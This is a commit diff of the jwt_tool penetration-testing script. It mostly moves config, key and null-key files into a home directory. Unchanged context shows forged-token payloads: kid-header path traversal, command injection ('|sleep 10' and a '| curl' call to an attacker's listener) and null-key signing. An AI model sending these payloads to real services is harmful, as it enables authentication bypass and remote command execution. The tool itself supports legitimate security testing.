11#!/usr/bin/env python3
22#
3- # JWT_Tool version 2.2.4 (08_07_2021 )
3+ # JWT_Tool version 2.2.5 (26_01_2022 )
44# Written by Andy Tyler (@ticarpi)
55# Please use responsibly...
66# Software URL: https://github.com/ticarpi/jwt_tool
77# Web: https://www.ticarpi.com
88# Twitter: @ticarpi
99
10- jwttoolvers = "2.2.4 "
10+ jwttoolvers = "2.2.5 "
1111import ssl
1212import sys
1313import os
@@ -56,11 +56,11 @@ def cprintc(textval, colval):
5656 cprint (textval , colval )
5757
5858def createConfig ():
59- privKeyName = " jwttool_custom_private_RSA.pem"
60- pubkeyName = " jwttool_custom_public_RSA.pem"
61- ecprivKeyName = " jwttool_custom_private_EC.pem"
62- ecpubkeyName = " jwttool_custom_public_EC.pem"
63- jwksName = " jwttool_custom_jwks.json"
59+ privKeyName = path + "/ jwttool_custom_private_RSA.pem"
60+ pubkeyName = path + "/ jwttool_custom_public_RSA.pem"
61+ ecprivKeyName = path + "/ jwttool_custom_private_EC.pem"
62+ ecpubkeyName = path + "/ jwttool_custom_public_EC.pem"
63+ jwksName = path + "/ jwttool_custom_jwks.json"
6464 if (os .path .isfile (privKeyName )) and (os .path .isfile (pubkeyName )) and (os .path .isfile (ecprivKeyName )) and (os .path .isfile (ecpubkeyName )) and (os .path .isfile (jwksName )):
6565 cprintc ("Found existing Public and Private Keys - using these..." , "cyan" )
6666 origjwks = open (jwksName , "r" ).read ()
@@ -89,6 +89,7 @@ def createConfig():
8989 with open (jwksName , 'w' ) as test_jwks_out :
9090 test_jwks_out .write (fulljwks )
9191 jwks_b64 = base64 .b64encode (fulljwks .encode ('ascii' ))
92+ proxyHost = "127.0.0.1"
9293 config = configparser .ConfigParser (allow_no_value = True )
9394 config .optionxform = str
9495 config ['crypto' ] = {'pubkey' : pubkeyName ,
@@ -97,7 +98,7 @@ def createConfig():
9798 'ecprivkey' : ecprivKeyName ,
9899 'jwks' : jwksName }
99100 config ['services' ] = {'jwt_tool_version' : jwttoolvers ,
100- '# To disable the proxy option set this value to: False (no quotes)' : None , 'proxy' : 'localhost :8080' ,
101+ '# To disable the proxy option set this value to: False (no quotes). For Docker installations with a Windows host OS set this to: "host.docker.internal:8080" ' : None , 'proxy' : proxyHost + ' :8080' ,
101102 '# Set this to the URL you are hosting your custom JWKS file (jwttool_custom_jwks.json) - your own server, or maybe use this cheeky reflective URL (https://httpbin.org/base64/{base64-encoded_JWKS_here})' : None ,
102103 'jwksloc' : 'https://httpbin.org/base64/' + jwks_b64 .decode (),
103104 '# Set this to the base URL of a Collaborator server, somewhere you can read live logs, a Request Bin etc.' : None , 'httplistener' : '' }
@@ -1441,32 +1442,32 @@ def scanModePlaybook():
14411442 origkid = False
14421443 # kid inject: blank field, sign with null
14431444 newheadDict , newHeadB64 = injectheaderclaim ("kid" , "" )
1444- key = open (" null.txt" ).read ()
1445+ key = open (path + "/ null.txt" ).read ()
14451446 newSig , newContents = signTokenHS (newheadDict , paylDict , key , 256 )
14461447 jwtOut (newContents + "." + newSig , "Injected kid claim - null-signed with blank kid" )
14471448 # kid inject: path traversal - known path - check for robots.txt, sign with variations of location
14481449 newheadDict , newHeadB64 = injectheaderclaim ("kid" , "../../../../../../dev/null" )
1449- key = open (" null.txt" ).read ()
1450+ key = open (path + "/ null.txt" ).read ()
14501451 newSig , newContents = signTokenHS (newheadDict , paylDict , key , 256 )
14511452 jwtOut (newContents + "." + newSig , "Injected kid claim - null-signed with kid=\" [path traversal]/dev/null\" " )
14521453 newheadDict , newHeadB64 = injectheaderclaim ("kid" , "/dev/null" )
1453- key = open (" null.txt" ).read ()
1454+ key = open (path + "/ null.txt" ).read ()
14541455 newSig , newContents = signTokenHS (newheadDict , paylDict , key , 256 )
14551456 jwtOut (newContents + "." + newSig , "Injected kid claim - null-signed with kid=\" /dev/null\" " )
14561457 # kid inject: path traversal - bad path - sign with null
14571458 newheadDict , newHeadB64 = injectheaderclaim ("kid" , "/invalid_path" )
1458- key = open (" null.txt" ).read ()
1459+ key = open (path + "/ null.txt" ).read ()
14591460 newSig , newContents = signTokenHS (newheadDict , paylDict , key , 256 )
14601461 jwtOut (newContents + "." + newSig , "Injected kid claim - null-signed with kid=\" /invalid_path\" " )
14611462 # kid inject: RCE - sign with null
14621463 newheadDict , newHeadB64 = injectheaderclaim ("kid" , "|sleep 10" )
1463- key = open (" null.txt" ).read ()
1464+ key = open (path + "/ null.txt" ).read ()
14641465 newSig , newContents = signTokenHS (newheadDict , paylDict , key , 256 )
14651466 jwtOut (newContents + "." + newSig , "Injected kid claim - RCE attempt - SLEEP 10 (did this request pause?)" )
14661467 if config ['services' ]['httplistener' ]:
14671468 injectUrl = config ['services' ]['httplistener' ]+ "/RCE_in_kid"
14681469 newheadDict , newHeadB64 = injectheaderclaim ("kid" , "| curl " + injectUrl )
1469- key = open (" null.txt" ).read ()
1470+ key = open (path + "/ null.txt" ).read ()
14701471 newSig , newContents = signTokenHS (newheadDict , paylDict , key , 256 )
14711472 jwtOut (newContents + "." + newSig , "Injected kid claim - RCE attempt - curl " + injectUrl + " (did this URL get accessed?)" )
14721473 # kid inject: SQLi explicit value
@@ -1879,7 +1880,12 @@ def printLogo():
18791880 args = parser .parse_args ()
18801881 if not args .bare :
18811882 printLogo ()
1882- path = sys .path [0 ]
1883+ try :
1884+ path = os .path .expanduser ("~/.jwt_tool" )
1885+ if not os .path .exists (path ):
1886+ os .makedirs (path )
1887+ except :
1888+ path = sys .path [0 ]
18831889 logFilename = path + "/logs.txt"
18841890 configFileName = path + "/jwtconf.ini"
18851891 config = configparser .ConfigParser ()
@@ -1894,7 +1900,7 @@ def printLogo():
18941900 os .rename (configFileName , path + "/old_(" + config ['services' ]['jwt_tool_version' ]+ ")_jwtconf.ini" )
18951901 createConfig ()
18961902 exit (1 )
1897- with open (' null.txt' , 'w' ) as nullfile :
1903+ with open (path + "/ null.txt" , 'w' ) as nullfile :
18981904 pass
18991905 findJWT = ""
19001906 if args .targeturl :
0 commit comments